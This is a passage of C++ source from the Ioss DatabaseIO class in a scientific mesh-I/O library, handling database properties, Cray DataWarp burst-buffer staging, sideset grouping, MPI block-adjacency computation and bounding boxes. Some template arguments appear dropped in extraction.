(properties.exists(\"FIELD_SUFFIX_SEPARATOR\")) {\n std::string tmp = properties.get(\"FIELD_SUFFIX_SEPARATOR\").get_string();\n fieldSeparator = tmp[0];\n }\n\n if (properties.exists(\"INTEGER_SIZE_API\")) {\n int isize = properties.get(\"INTEGER_SIZE_API\").get_int();\n if (isize == 8) {\n set_int_byte_size_api(Ioss::USE_INT64_API);\n }\n }\n\n if (properties.exists(\"SERIALIZE_IO\")) {\n int isize = properties.get(\"SERIALIZE_IO\").get_int();\n Ioss::SerializeIO::setGroupFactor(isize);\n if (isize > 0) {\n singleProcOnly = true;\n }\n }\n\n if (properties.exists(\"CYCLE_COUNT\")) {\n cycleCount = properties.get(\"CYCLE_COUNT\").get_int();\n }\n\n if (properties.exists(\"OVERLAY_COUNT\")) {\n overlayCount = properties.get(\"OVERLAY_COUNT\").get_int();\n }\n\n Utils::check_set_bool_property(properties, \"ENABLE_TRACING\", m_enableTracing);\n Utils::check_set_bool_property(properties, \"TIME_STATE_INPUT_OUTPUT\", m_timeStateInOut);\n {\n bool logging;\n if (Utils::check_set_bool_property(properties, \"LOGGING\", logging)) {\n set_logging(logging);\n }\n }\n\n Utils::check_set_bool_property(properties, \"LOWER_CASE_VARIABLE_NAMES\", lowerCaseVariableNames);\n Utils::check_set_bool_property(properties, \"USE_GENERIC_CANONICAL_NAMES\",\n useGenericCanonicalName);\n Utils::check_set_bool_property(properties, \"IGNORE_DATABASE_NAMES\", ignoreDatabaseNames);\n\n {\n bool consistent;\n if (Utils::check_set_bool_property(properties, \"PARALLEL_CONSISTENCY\", consistent)) {\n set_parallel_consistency(consistent);\n }\n }\n\n check_setDW();\n\n if (!is_input()) {\n // Create full path to the output file at this point if it doesn't\n // exist...\n if (isParallel) {\n Ioss::FileInfo::create_path(DBFilename, util().communicator());\n }\n else {\n Ioss::FileInfo::create_path(DBFilename);\n }\n }\n }\n\n DatabaseIO::~DatabaseIO() = default;\n\n int DatabaseIO::int_byte_size_api() const\n {\n if (dbIntSizeAPI == USE_INT32_API) {\n return 4;\n }\n return 8;\n }\n\n /** \\brief Set the number of bytes used to represent an integer.\n *\n * \\param[in] size The number of bytes. This is 4 for INT32 or 8 for INT64.\n */\n void DatabaseIO::set_int_byte_size_api(DataSize size) const\n {\n dbIntSizeAPI = size; // mutable\n }\n\n /** \\brief Set the character used to separate a field suffix from the field basename\n * when recognizing vector, tensor fields.\n *\n * \\param[in] separator The separator character.\n */\n void DatabaseIO::set_field_separator(const char separator)\n {\n if (properties.exists(\"FIELD_SUFFIX_SEPARATOR\")) {\n properties.erase(\"FIELD_SUFFIX_SEPARATOR\");\n }\n char tmp[2] = {separator, '\\0'};\n properties.add(Property(\"FIELD_SUFFIX_SEPARATOR\", tmp));\n fieldSeparator = separator;\n }\n\n /**\n * Check whether user wants to use Cray DataWarp. It will be enabled if:\n * the `DW_JOB_STRIPED` or `DW_JOB_PRIVATE` environment variable\n * is set by the queuing system during runtime and the IOSS property\n * `ENABLE_DATAWARP` set to `YES`.\n *\n * We currently only want output files to be directed to BB.\n */\n void DatabaseIO::check_setDW() const\n {\n if (!is_input()) {\n bool set_dw = false;\n Utils::check_set_bool_property(properties, \"ENABLE_DATAWARP\", set_dw);\n if (set_dw) {\n std::string bb_path;\n // Selected via `#DW jobdw type=scratch access_mode=striped`\n util().get_environment(\"DW_JOB_STRIPED\", bb_path, isParallel);\n\n if (bb_path.empty()) { // See if using `private` mode...\n // Selected via `#DW jobdw type=scratch access_mode=private`\n util().get_environment(\"DW_JOB_PRIVATE\", bb_path, isParallel);\n }\n if (!bb_path.empty()) {\n usingDataWarp = true;\n dwPath = bb_path;\n if (myProcessor == 0) {\n fmt::print(Ioss::OUTPUT(), \"\\nDataWarp Burst Buffer Enabled. Path = `{}`\\n\\n\", dwPath);\n }\n }\n else {\n if (myProcessor == 0) {\n fmt::print(Ioss::WARNING(),\n \"DataWarp enabled via Ioss property `ENABLE_DATAWARP`, but\\n\"\n \" burst buffer path was not specified via `DW_JOB_STRIPED` or \"\n \"`DW_JOB_PRIVATE`\\n\"\n \" environment variables (typically set by queuing system)\\n\"\n \" DataWarp will *NOT* be enabled, but job will still run.\\n\\n\");\n }\n }\n }\n }\n }\n\n /**\n * In this wrapper function we check if user intends to use Cray\n * DataWarp(aka DW), which provides ability to use NVMe based flash\n * storage available across all compute nodes accessible via high\n * speed NIC.\n */\n void DatabaseIO::openDW(const std::string &filename) const\n {\n set_pfsname(filename); // Name on permanent-file-store\n if (using_dw()) { // We are about to write to a output database in BB\n Ioss::FileInfo path{filename};\n Ioss::FileInfo bb_file{get_dwPath() + path.tailname()};\n if (bb_file.exists() && !bb_file.is_writable()) {\n // already existing file which has been closed If we can't\n // write to the file on the BB, then it is a file which is\n // being staged by datawarp system over to the permanent\n // filesystem. Wait until staging has finished... stage wait\n // returns 0 = success, -ENOENT or -errno\n#if defined SEACAS_HAVE_DATAWARP\n#if IOSS_DEBUG_OUTPUT\n if (myProcessor == 0) {\n fmt::print(Ioss::DEBUG(), \"DW: dw_wait_file_stage({});\\n\", bb_file.filename());\n }\n#endif\n int dwret = dw_wait_file_stage(bb_file.filename().c_str());\n if (dwret < 0) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: failed waiting for file stage `{}`: {}\\n\", bb_file.filename(),\n std::strerror(-dwret));\n IOSS_ERROR(errmsg);\n }\n#else\n // Used to debug DataWarp logic on systems without DataWarp...\n fmt::print(Ioss::DEBUG(), \"DW: (FAKE) dw_wait_file_stage({});\\n\", bb_file.filename());\n#endif\n }\n set_dwname(bb_file.filename());\n }\n else {\n set_dwname(filename);\n }\n }\n\n /** \\brief This function gets called inside closeDatabase__(), which checks if Cray Datawarp (DW)\n * is in use, if so, we want to call a stageout before actual close of this file.\n */\n void DatabaseIO::closeDW() const\n {\n if (using_dw()) {\n if (!using_parallel_io() || (using_parallel_io() && myProcessor == 0)) {\n#if defined SEACAS_HAVE_DATAWARP\n int complete = 0, pending = 0, deferred = 0, failed = 0;\n dw_query_file_stage(get_dwname().c_str(), &complete, &pending, &deferred, &failed);\n#if IOSS_DEBUG_OUTPUT\n auto initial = std::chrono::high_resolution_clock::now();\n fmt::print(Ioss::DEBUG(), \"Query: {}, {}, {}, {}\\n\", complete, pending, deferred, failed);\n#endif\n if (pending > 0) {\n int dwret = dw_wait_file_stage(get_dwname().c_str());\n if (dwret < 0) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: failed waiting for file stage `{}`: {}\\n\", get_dwname(),\n std::strerror(-dwret));\n IOSS_ERROR(errmsg);\n }\n#if IOSS_DEBUG_OUTPUT\n dw_query_file_stage(get_dwname().c_str(), &complete, &pending, &deferred, &failed);\n fmt::print(Ioss::DEBUG(), \"Query: {}, {}, {}, {}\\n\", complete, pending, deferred, failed);\n#endif\n }\n\n#if IOSS_DEBUG_OUTPUT\n fmt::print(Ioss::DEBUG(), \"\\nDW: BEGIN dw_stage_file_out({}, {}, DW_STAGE_IMMEDIATE);\\n\",\n get_dwname(), get_pfsname());\n#endif\n int ret =\n dw_stage_file_out(get_dwname().c_str(), get_pfsname().c_str(), DW_STAGE_IMMEDIATE);\n\n#if IOSS_DEBUG_OUTPUT\n auto time_now = std::chrono::high_resolution_clock::now();\n std::chrono::duration diff = time_now - initial;\n fmt::print(Ioss::DEBUG(), \"\\nDW: END dw_stage_file_out({})\\n\", diff.count());\n#endif\n if (ret < 0) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: file staging of `{}` to `{}` failed at close: {}\\n\",\n get_dwname(), get_pfsname(), std::strerror(-ret));\n IOSS_ERROR(errmsg);\n }\n#else\n fmt::print(Ioss::DEBUG(), \"\\nDW: (FAKE) dw_stage_file_out({}, {}, DW_STAGE_IMMEDIATE);\\n\",\n get_dwname(), get_pfsname());\n#endif\n }\n if (using_parallel_io()) {\n util().barrier();\n }\n }\n }\n\n void DatabaseIO::openDatabase__() const { openDW(get_filename()); }\n\n void DatabaseIO::closeDatabase__() const { closeDW(); }\n\n IfDatabaseExistsBehavior DatabaseIO::open_create_behavior() const\n {\n IfDatabaseExistsBehavior exists = DB_OVERWRITE;\n if (properties.exists(\"APPEND_OUTPUT\")) {\n exists = static_cast(properties.get(\"APPEND_OUTPUT\").get_int());\n }\n return exists;\n }\n\n const std::string &DatabaseIO::decoded_filename() const\n {\n if (decodedFilename.empty()) {\n if (isParallel) {\n decodedFilename = util().decode_filename(get_filename(), isParallel && !usingParallelIO);\n }\n else if (properties.exists(\"processor_count\") && properties.exists(\"my_processor\")) {\n int proc_count = properties.get(\"processor_count\").get_int();\n int my_proc = properties.get(\"my_processor\").get_int();\n decodedFilename = Ioss::Utils::decode_filename(get_filename(), my_proc, proc_count);\n }\n else {\n decodedFilename = get_filename();\n }\n\n openDW(decodedFilename);\n if (using_dw()) {\n // Note that if using_dw(), then we need to set the decodedFilename to the BB name.\n decodedFilename = get_dwname();\n }\n }\n return decodedFilename;\n }\n\n void DatabaseIO::verify_and_log(const GroupingEntity *ge, const Field &field, int in_out) const\n {\n if (ge != nullptr) {\n assert(!is_parallel_consistent() ||\n internal_parallel_consistent(singleProcOnly, ge, field, in_out, util_));\n }\n if (get_logging()) {\n log_field(in_out == 1 ? \">\" : \"<\", ge, field, singleProcOnly, util_);\n }\n }\n\n bool DatabaseIO::begin_state(int state, double time)\n {\n IOSS_FUNC_ENTER(m_);\n if (m_timeStateInOut) {\n m_stateStart = std::chrono::high_resolution_clock::now();\n }\n return begin_state__(state, time);\n }\n bool DatabaseIO::end_state(int state, double time)\n {\n IOSS_FUNC_ENTER(m_);\n bool res = end_state__(state, time);\n if (m_timeStateInOut) {\n auto finish = std::chrono::high_resolution_clock::now();\n log_time(m_stateStart, finish, state, time, is_input(), singleProcOnly, util_);\n }\n return res;\n }\n\n // Default versions do nothing...\n bool DatabaseIO::begin_state__(int /* state */, double /* time */) { return true; }\n\n bool DatabaseIO::end_state__(int /* state */, double /* time */) { return true; }\n\n void DatabaseIO::handle_groups()\n {\n // Set Grouping requests are specified as properties...\n // See if the property exists and decode...\n // There is a property for each \"type\":\n // GROUP_SIDESET, GROUP_NODESET, GROUP_EDGESET, GROUP_FACESET,\n // GROUP_ELEMSET.\n // Within the property, the \"value\" consists of multiple groups separated by\n // \":\"\n // Within the group, the names are \",\" separated:\n //\n // new_surf1,member1,member2,member3:new_surf2,mem1,mem2,mem3,mem4:new_surf3,....\n //\n // Currently does not check for duplicate entity membership in a set --\n // union\n // with duplicates\n //\n create_groups(\"GROUP_SIDESET\", SIDESET, \"side\", (SideSet *)nullptr);\n create_groups(\"GROUP_NODESET\", NODESET, \"node\", (NodeSet *)nullptr);\n create_groups(\"GROUP_EDGESET\", EDGESET, \"edge\", (EdgeSet *)nullptr);\n create_groups(\"GROUP_FACESET\", FACESET, \"face\", (FaceSet *)nullptr);\n create_groups(\"GROUP_ELEMSET\", ELEMENTSET, \"elem\", (ElementSet *)nullptr);\n }\n\n template \n void DatabaseIO::create_groups(const std::string &property_name, EntityType type,\n const std::string &type_name, const T *set_type)\n {\n if (!properties.exists(property_name)) {\n return;\n }\n\n std::string prop = properties.get(property_name).get_string();\n std::vector groups = tokenize(prop, \":\");\n for (auto &group : groups) {\n std::vector group_spec = tokenize(group, \",\");\n\n // group_spec should contain the name of the new group as\n // the first location and the members of the group as subsequent\n // locations. OK to have a single member\n if (group_spec.size() < 2) {\n std::ostringstream errmsg;\n fmt::print(errmsg,\n \"ERROR: Invalid {} group specification '{}'\\n\"\n \" Correct syntax is 'new_group,member1,...,memberN' and there must \"\n \" be at least 1 member of the group\",\n type_name, group);\n IOSS_ERROR(errmsg);\n }\n\n create_group(type, type_name, group_spec, set_type);\n }\n }\n\n template \n void DatabaseIO::create_group(EntityType /*type*/, const std::string &type_name,\n const std::vector &group_spec, const T * /*set_type*/)\n {\n fmt::print(Ioss::WARNING(),\n \"Grouping of {0} sets is not yet implemented.\\n\"\n \" Skipping the creation of {0} set '{1}'\\n\\n\",\n type_name, group_spec[0]);\n }\n\n template <>\n void DatabaseIO::create_group(EntityType type, const std::string & /*type_name*/,\n const std::vector &group_spec,\n const SideSet * /*set_type*/)\n {\n // Not generalized yet... This only works for T == SideSet\n if (type != SIDESET) {\n return;\n }\n\n int64_t entity_count = 0;\n int64_t df_count = 0;\n\n // Create the new set...\n auto new_set = new SideSet(this, group_spec[0]);\n\n get_region()->add(new_set);\n\n // Find the member SideSets...\n for (size_t i = 1; i < group_spec.size(); i++) {\n SideSet *set = get_region()->get_sideset(group_spec[i]);\n if (set != nullptr) {\n const SideBlockContainer &side_blocks = set->get_side_blocks();\n for (auto &sbold : side_blocks) {\n size_t side_count = sbold->entity_count();\n auto sbnew = new SideBlock(this, sbold->name(), sbold->topology()->name(),\n sbold->parent_element_topology()->name(), side_count);\n int64_t id = sbold->get_property(\"id\").get_int();\n sbnew->property_add(Property(\"set_offset\", entity_count));\n sbnew->property_add(Property(\"set_df_offset\", df_count));\n sbnew->property_add(Property(\"id\", id));\n sbnew->property_add(Property(\"id\", id));\n sbnew->property_add(Property(\"guid\", util().generate_guid(id)));\n\n new_set->add(sbnew);\n\n size_t old_df_count = sbold->get_property(\"distribution_factor_count\").get_int();\n if (old_df_count > 0) {\n std::string storage = \"Real[\";\n storage += std::to_string(sbnew->topology()->number_nodes());\n storage += \"]\";\n sbnew->field_add(\n Field(\"distribution_factors\", Field::REAL, storage, Field::MESH, side_count));\n }\n entity_count += side_count;\n df_count += old_df_count;\n }\n }\n else {\n fmt::print(Ioss::WARNING(),\n \"While creating the grouped surface '{}', the surface '{}' does not exist. \"\n \"This surface will skipped and not added to the group.\\n\\n\",\n group_spec[0], group_spec[i]);\n }\n }\n }\n\n // Utility function that may be used by derived classes. Determines\n // whether all elements in the model have the same face topology.\n // This can be used to speed-up certain algorithms since they don't\n // have to check each face (or group of faces) individually.\n void DatabaseIO::set_common_side_topology() const\n {\n DatabaseIO *new_this = const_cast(this);\n\n bool first = true;\n const ElementBlockContainer &element_blocks = get_region()->get_element_blocks();\n for (auto block : element_blocks) {\n size_t element_count = block->entity_count();\n\n // Check face types.\n if (element_count > 0) {\n if (commonSideTopology != nullptr || first) {\n first = false;\n ElementTopology *side_type = block->topology()->boundary_type();\n if (commonSideTopology == nullptr) { // First block\n new_this->commonSideTopology = side_type;\n }\n if (commonSideTopology != side_type) { // Face topologies differ in mesh\n new_this->commonSideTopology = nullptr;\n return;\n }\n }\n }\n }\n }\n\n /** \\brief Add multiple information records (informative strings) to the database.\n *\n * \\param[in] info The strings to add.\n */\n void DatabaseIO::add_information_records(const std::vector &info)\n {\n informationRecords.reserve(informationRecords.size() + info.size());\n informationRecords.insert(informationRecords.end(), info.begin(), info.end());\n }\n\n /** \\brief Add an information record (an informative string) to the database.\n *\n * \\param[in] info The string to add.\n */\n void DatabaseIO::add_information_record(const std::string &info)\n {\n informationRecords.push_back(info);\n }\n\n /** \\brief Add a QA record, which consists of 4 strings, to the database\n *\n * The 4 function parameters correspond to the 4 QA record strings.\n *\n * \\param[in] code A descriptive code name, such as the application that modified the database.\n * \\param[in] code_qa A descriptive string, such as the version of the application that modified\n * the database.\n * \\param[in] date A relevant date, such as the date the database was modified.\n * \\param[in] time A relevant time, such as the time the database was modified.\n */\n void DatabaseIO::add_qa_record(const std::string &code, const std::string &code_qa,\n const std::string &date, const std::string &time)\n {\n qaRecords.push_back(code);\n qaRecords.push_back(code_qa);\n qaRecords.push_back(date);\n qaRecords.push_back(time);\n }\n\n void DatabaseIO::set_block_omissions(const std::vector &omissions,\n const std::vector &inclusions)\n {\n if (!omissions.empty()) {\n blockOmissions.assign(omissions.cbegin(), omissions.cend());\n std::sort(blockOmissions.begin(), blockOmissions.end());\n }\n if (!inclusions.empty()) {\n blockInclusions.assign(inclusions.cbegin(), inclusions.cend());\n std::sort(blockInclusions.begin(), blockInclusions.end());\n }\n }\n\n // Check topology of all sides (face/edges) in model...\n void DatabaseIO::check_side_topology() const\n {\n // The following code creates the sideTopology sets which contain\n // a list of the side topologies in this model.\n //\n // If sideTopology.size() > 1 --> the model has sides with mixed\n // topology (i.e., quads and tris).\n //\n // If sideTopology.size() == 1 --> the model has homogeneous sides\n // and each side is of the topology type 'sideTopology[0]'\n //\n // This is used in other code speed up some tests.\n\n // Spheres and Circle have no faces/edges, so handle them special...\n bool all_sphere = true;\n\n if (sideTopology.empty()) {\n // Set contains (parent_element, boundary_topology) pairs...\n std::set> side_topo;\n\n const ElementBlockContainer &element_blocks = get_region()->get_element_blocks();\n\n for (auto &block : element_blocks) {\n const ElementTopology *elem_type = block->topology();\n const ElementTopology *side_type = elem_type->boundary_type();\n if (side_type == nullptr) {\n // heterogeneous sides. Iterate through...\n int size = elem_type->number_boundaries();\n for (int i = 1; i <= size; i++) {\n side_type = elem_type->boundary_type(i);\n side_topo.insert(std::make_pair(elem_type, side_type));\n all_sphere = false;\n }\n }\n else {\n // homogeneous sides.\n side_topo.insert(std::make_pair(elem_type, side_type));\n all_sphere = false;\n }\n }\n if (all_sphere) {\n // If we end up here, the model either contains all spheres,\n // or there are no element blocks in the model...\n const ElementTopology *ftopo = ElementTopology::factory(\"unknown\");\n if (element_blocks.empty()) {\n side_topo.insert(std::make_pair(ftopo, ftopo));\n }\n else {\n const ElementBlock *block = *element_blocks.cbegin();\n side_topo.insert(std::make_pair(block->topology(), ftopo));\n }\n }\n assert(!side_topo.empty());\n assert(sideTopology.empty());\n // Copy into the sideTopology container...\n DatabaseIO *new_this = const_cast(this);\n std::copy(side_topo.cbegin(), side_topo.cend(), std::back_inserter(new_this->sideTopology));\n }\n assert(!sideTopology.empty());\n }\n\n void DatabaseIO::get_block_adjacencies__(const Ioss::ElementBlock *eb,\n std::vector &block_adjacency) const\n {\n if (!blockAdjacenciesCalculated) {\n compute_block_adjacencies();\n }\n\n const Ioss::ElementBlockContainer &element_blocks = get_region()->get_element_blocks();\n assert(Ioss::Utils::check_block_order(element_blocks));\n\n // Extract the computed block adjacency information for this\n // element block:\n int blk_position = 0;\n if (eb->property_exists(\"original_block_order\")) {\n blk_position = eb->get_property(\"original_block_order\").get_int();\n }\n else {\n for (const auto &leb : element_blocks) {\n if (leb == eb) {\n break;\n }\n blk_position++;\n }\n }\n\n int lblk_position = -1;\n for (const auto &leb : element_blocks) {\n if (leb->property_exists(\"original_block_order\")) {\n lblk_position = leb->get_property(\"original_block_order\").get_int();\n }\n else {\n lblk_position++;\n }\n\n if (blk_position != lblk_position &&\n static_cast(blockAdjacency[blk_position][lblk_position]) == 1) {\n block_adjacency.push_back(leb->name());\n }\n }\n }\n\n // common\n void DatabaseIO::compute_block_adjacencies() const\n {\n // Add a field to each element block specifying which other element\n // blocks the block is adjacent to (defined as sharing nodes).\n // This is only calculated on request...\n\n blockAdjacenciesCalculated = true;\n\n const Ioss::ElementBlockContainer &element_blocks = get_region()->get_element_blocks();\n assert(Ioss::Utils::check_block_order(element_blocks));\n\n if (element_blocks.size() == 1) {\n blockAdjacency.resize(1);\n blockAdjacency[0].resize(1);\n blockAdjacency[0][0] = false;\n return;\n }\n\n // Each processor first calculates the adjacencies on their own\n // processor...\n\n std::vector node_used(nodeCount);\n std::vector> inv_con(nodeCount);\n\n {\n Ioss::SerializeIO serializeIO__(this);\n int blk_position = -1;\n for (Ioss::ElementBlock *eb : element_blocks) {\n if (eb->property_exists(\"original_block_order\")) {\n blk_position = eb->get_property(\"original_block_order\").get_int();\n }\n else {\n blk_position++;\n }\n int64_t my_element_count = eb->entity_count();\n if (int_byte_size_api() == 8) {\n std::vector conn;\n eb->get_field_data(\"connectivity_raw\", conn);\n for (auto node : conn) {\n assert(node > 0 && node - 1 < nodeCount);\n node_used[node - 1] = blk_position + 1;\n }\n }\n else {\n std::vector conn;\n eb->get_field_data(\"connectivity_raw\", conn);\n for (auto node : conn) {\n assert(node > 0 && node - 1 < nodeCount);\n node_used[node - 1] = blk_position + 1;\n }\n }\n\n if (my_element_count > 0) {\n for (int64_t i = 0; i < nodeCount; i++) {\n if (node_used[i] == blk_position + 1) {\n inv_con[i].push_back(blk_position);\n }\n }\n }\n }\n }\n\n#ifdef SEACAS_HAVE_MPI\n if (isParallel) {\n // Get contributions from other processors...\n // Get the communication map...\n Ioss::CommSet *css = get_region()->get_commset(\"commset_node\");\n Ioss::Utils::check_non_null(css, \"communication map\", \"commset_node\", __func__);\n std::vector> proc_node;\n {\n std::vector entity_processor;\n css->get_field_data(\"entity_processor\", entity_processor);\n proc_node.reserve(entity_processor.size() / 2);\n for (size_t i = 0; i < entity_processor.size(); i += 2) {\n proc_node.emplace_back(entity_processor[i + 1], entity_processor[i]);\n }\n }\n\n // Now sort by increasing processor number.\n std::sort(proc_node.begin(), proc_node.end());\n\n // Pack the data: global_node_id, bits for each block, ...\n // Use 'int' as basic type...\n size_t id_size = 1;\n size_t word_size = sizeof(int) * 8;\n size_t bits_size = (element_blocks.size() + word_size - 1) / word_size;\n std::vector send(proc_node.size() * (id_size + bits_size));\n std::vector recv(proc_node.size() * (id_size + bits_size));\n\n std::vector procs(util().parallel_size());\n size_t offset = 0;\n for (const auto &pn : proc_node) {\n int64_t glob_id = pn.second;\n int proc = pn.first;\n procs[proc]++;\n send[offset++] = glob_id;\n int64_t loc_id = nodeMap.global_to_local(glob_id, true) - 1;\n for (int jblk : inv_con[loc_id]) {\n size_t wrd_off = jblk / word_size;\n size_t bit = jblk % word_size;\n send[offset + wrd_off] |= (1 << bit);\n }\n offset += bits_size;\n }\n\n // Count nonzero entries in 'procs' array -- count of\n // sends/receives\n size_t non_zero = util().parallel_size() - std::count(procs.begin(), procs.end(), 0);\n\n // Post all receives...\n MPI_Request request_null = MPI_REQUEST_NULL;\n std::vector request(non_zero, request_null);\n std::vector status(non_zero);\n\n int result = MPI_SUCCESS;\n size_t req_cnt = 0;\n offset = 0;\n for (int i = 0; result == MPI_SUCCESS && i < util().parallel_size(); i++) {\n if (procs[i] > 0) {\n const unsigned size = procs[i] * (id_size + bits_size);\n void *const recv_buf = &recv[offset];\n result = MPI_Irecv(recv_buf, size, MPI_INT, i, 10101, util().communicator(),\n &request[req_cnt]);\n req_cnt++;\n offset += size;\n }\n }\n assert(result != MPI_SUCCESS || non_zero == req_cnt);\n\n if (result != MPI_SUCCESS) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: MPI_Irecv error on processor {} in {}\", util().parallel_rank(),\n __func__);\n IOSS_ERROR(errmsg);\n }\n\n int local_error = (MPI_SUCCESS == result) ? 0 : 1;\n int global_error = util().global_minmax(local_error, Ioss::ParallelUtils::DO_MAX);\n\n if (global_error != 0) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: MPI_Irecv error on some processor in {}\", __func__);\n IOSS_ERROR(errmsg);\n }\n\n result = MPI_SUCCESS;\n req_cnt = 0;\n offset = 0;\n for (int i = 0; result == MPI_SUCCESS && i < util().parallel_size(); i++) {\n if (procs[i] > 0) {\n const unsigned size = procs[i] * (id_size + bits_size);\n void *const send_buf = &send[offset];\n result = MPI_Rsend(send_buf, size, MPI_INT, i, 10101, util().communicator());\n req_cnt++;\n offset += size;\n }\n }\n assert(result != MPI_SUCCESS || non_zero == req_cnt);\n\n if (result != MPI_SUCCESS) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: MPI_Rsend error on processor {} in {}\", util().parallel_rank(),\n __func__);\n IOSS_ERROR(errmsg);\n }\n\n local_error = (MPI_SUCCESS == result) ? 0 : 1;\n global_error = util().global_minmax(local_error, Ioss::ParallelUtils::DO_MAX);\n\n if (global_error != 0) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: MPI_Rsend error on some processor in {}\", __func__);\n IOSS_ERROR(errmsg);\n }\n\n result = MPI_Waitall(req_cnt, request.data(), status.data());\n\n if (result != MPI_SUCCESS) {\n std::ostringstream errmsg;\n fmt::print(errmsg, \"ERROR: MPI_Waitall error on processor {} in {}\", util().parallel_rank(),\n __func__);\n IOSS_ERROR(errmsg);\n }\n\n // Unpack the data and update the inv_con arrays for boundary\n // nodes...\n offset = 0;\n for (size_t i = 0; i < proc_node.size(); i++) {\n int64_t glob_id = recv[offset++];\n int64_t loc_id = nodeMap.global_to_local(glob_id, true) - 1;\n for (size_t iblk = 0; iblk < element_blocks.size(); iblk++) {\n size_t wrd_off = iblk / word_size;\n size_t bit = iblk % word_size;\n if (recv[offset + wrd_off] & (1 << bit)) {\n inv_con[loc_id].push_back(iblk); // May result in duplicates, but that is OK.\n }\n }\n offset += bits_size;\n }\n }\n#endif\n\n // Convert from inv_con arrays to block adjacency...\n blockAdjacency.resize(element_blocks.size());\n for (auto &block : blockAdjacency) {\n block.resize(element_blocks.size());\n }\n\n for (int64_t i = 0; i < nodeCount; i++) {\n for (size_t j = 0; j < inv_con[i].size(); j++) {\n int jblk = inv_con[i][j];\n for (size_t k = j + 1; k < inv_con[i].size(); k++) {\n int kblk = inv_con[i][k];\n blockAdjacency[jblk][kblk] = true;\n blockAdjacency[kblk][jblk] = true;\n }\n }\n }\n\n#ifdef SEACAS_HAVE_MPI\n if (isParallel) {\n // Sync across all processors...\n size_t word_size = sizeof(int) * 8;\n size_t bits_size = (element_blocks.size() + word_size - 1) / word_size;\n\n std::vector data(element_blocks.size() * bits_size);\n int64_t offset = 0;\n for (size_t jblk = 0; jblk < element_blocks.size(); jblk++) {\n for (size_t iblk = 0; iblk < element_blocks.size(); iblk++) {\n if (blockAdjacency[jblk][iblk] == 1) {\n size_t wrd_off = iblk / word_size;\n size_t bit = iblk % word_size;\n data[offset + wrd_off] |= (1 << bit);\n }\n }\n offset += bits_size;\n }\n\n std::vector out_data(element_blocks.size() * bits_size);\n MPI_Allreduce((void *)data.data(), out_data.data(), static_cast(data.size()),\n MPI_UNSIGNED, MPI_BOR, util().communicator());\n\n offset = 0;\n for (size_t jblk = 0; jblk < element_blocks.size(); jblk++) {\n for (size_t iblk = 0; iblk < element_blocks.size(); iblk++) {\n if (blockAdjacency[jblk][iblk] == 0) {\n size_t wrd_off = iblk / word_size;\n size_t bit = iblk % word_size;\n if (out_data[offset + wrd_off] & (1 << bit)) {\n blockAdjacency[jblk][iblk] = 1;\n }\n }\n }\n offset += bits_size;\n }\n }\n#endif\n\n // Make it symmetric... (TODO: this probably isn't needed...)\n for (size_t iblk = 0; iblk < element_blocks.size(); iblk++) {\n for (size_t jblk = iblk; jblk < element_blocks.size(); jblk++) {\n blockAdjacency[jblk][iblk] = blockAdjacency[iblk][jblk];\n }\n }\n }\n\n AxisAlignedBoundingBox DatabaseIO::get_bounding_box(const Ioss::ElementBlock *eb) const\n {\n if (elementBlockBoundingBoxes.empty()) {\n // Calculate the bounding boxes for all element blocks...\n std::vector coordinates;\n Ioss::NodeBlock * nb = get_region()->get_node_blocks()[0];\n nb->get_field_data(\"mesh_model_coordinates\", coordinates);\n ssize_t nnode = nb->entity_count();\n ssize_t ndim = nb->get_property(\"component_degree\").get_int();\n\n const Ioss::ElementBlockContainer &element_blocks = get_region()->get_element_blocks();\n size_t nblock = element_blocks.size();\n std::vector minmax;\n minmax.reserve(6 * nblock);\n\n for (auto &block : element_blocks) {\n double xmin, ymin, zmin, xmax, ymax, zmax;\n if (block->get_database()->int_byte_size_api() == 8) {\n std::vector connectivity;\n block->get_field_data(\"connectivity_raw\", connectivity);\n calc_bounding_box(ndim, nnode, coordinates, connectivity, xmin, ymin, zmin, xmax, ymax,\n zmax);\n }\n else {\n std::vector connectivity;\n block->get_field_data(\"connectivity_raw\", connectivity);\n calc_bounding_box(ndim, nnode, coordinates, connectivity, xmin, ymin, zmin, xmax, ymax,\n zmax);\n }\n\n minmax.push_back(xmin);\n minmax.push_back(ymin);\n minmax.push_back(zmin);\n minmax.push_back(-xmax);\n minmax.push_back(-ymax);\n minmax.push_back(-zmax);\n }\n\n util().global_array_minmax(minmax, Ioss::ParallelUtils::DO_MIN);\n\n for (size_t i = 0; i < element_blocks.size(); i++) {\n Ioss::ElementBlock * block = element_blocks[i];\n const std::string & name = block->name();\n AxisAlignedBoundingBox bbox(minmax[6 * i + 0], minmax[6 * i + 1], minmax[6 * i + 2],\n -minmax[6 * i + 3], -minmax[6 * i + 4], -minmax[6 * i + 5]);\n elementBlockBoundingBoxes[name] = bbox;\n }\n }\n return elementBlockBoundingBoxes[eb->name()];\n }\n\n AxisAlignedBoundingBox DatabaseIO::get_bounding_box(const Ioss::StructuredBlock *sb) const\n {\n ssize_t ndim = sb->get_property(\"component_degree\").get_int();\n\n std::pair xx;\n std::pair yy;\n std::pair zz;\n\n std::vector coordinates;\n sb->get_field_data(\"mesh_model_coordinates_x\", coordinates);\n auto x = std::minmax_element(coordinates.cbegin(), coordinates.cend());\n xx = std::make_pair(*(x.first), *(x.second));\n\n if (ndim > 1) {\n sb->get_field_data(\"mesh_model_coordinates_y\", coordinates);\n auto y = std::minmax_element(coordinates.cbegin(), coordinates.cend());\n yy = std::make_pair(*(y.first), *(y.second));\n }\n\n if (ndim > 2) {\n sb->get_field_data(\"mesh_model_coordinates_z\", coordinates);\n auto z = std::minmax_element(coordinates.cbegin(), coordinates.cend());\n zz = std::make_pair(*(z.first), *(z.second));\n }\n\n return AxisAlignedBoundingBox(xx.first, yy.first, zz.first, xx.second, yy.second, zz.second);\n }\n} // namespace Ioss\n\nnamespace {\n void log_time(std::chrono::time_point &start,\n std::chrono::time_point &finish,\n int current_state, double state_time, bool is_input, bool single_proc_only,\n const Ioss::ParallelUtils &util)\n {\n std::vector all_times;\n double duration = std::chrono::duration(finish - start).count();\n if (single_proc_only) {\n all_times.push_back(duration);\n }\n else {\n util.gather(duration, all_times);\n }\n\n if (util.parallel_rank() == 0 || single_proc_only) 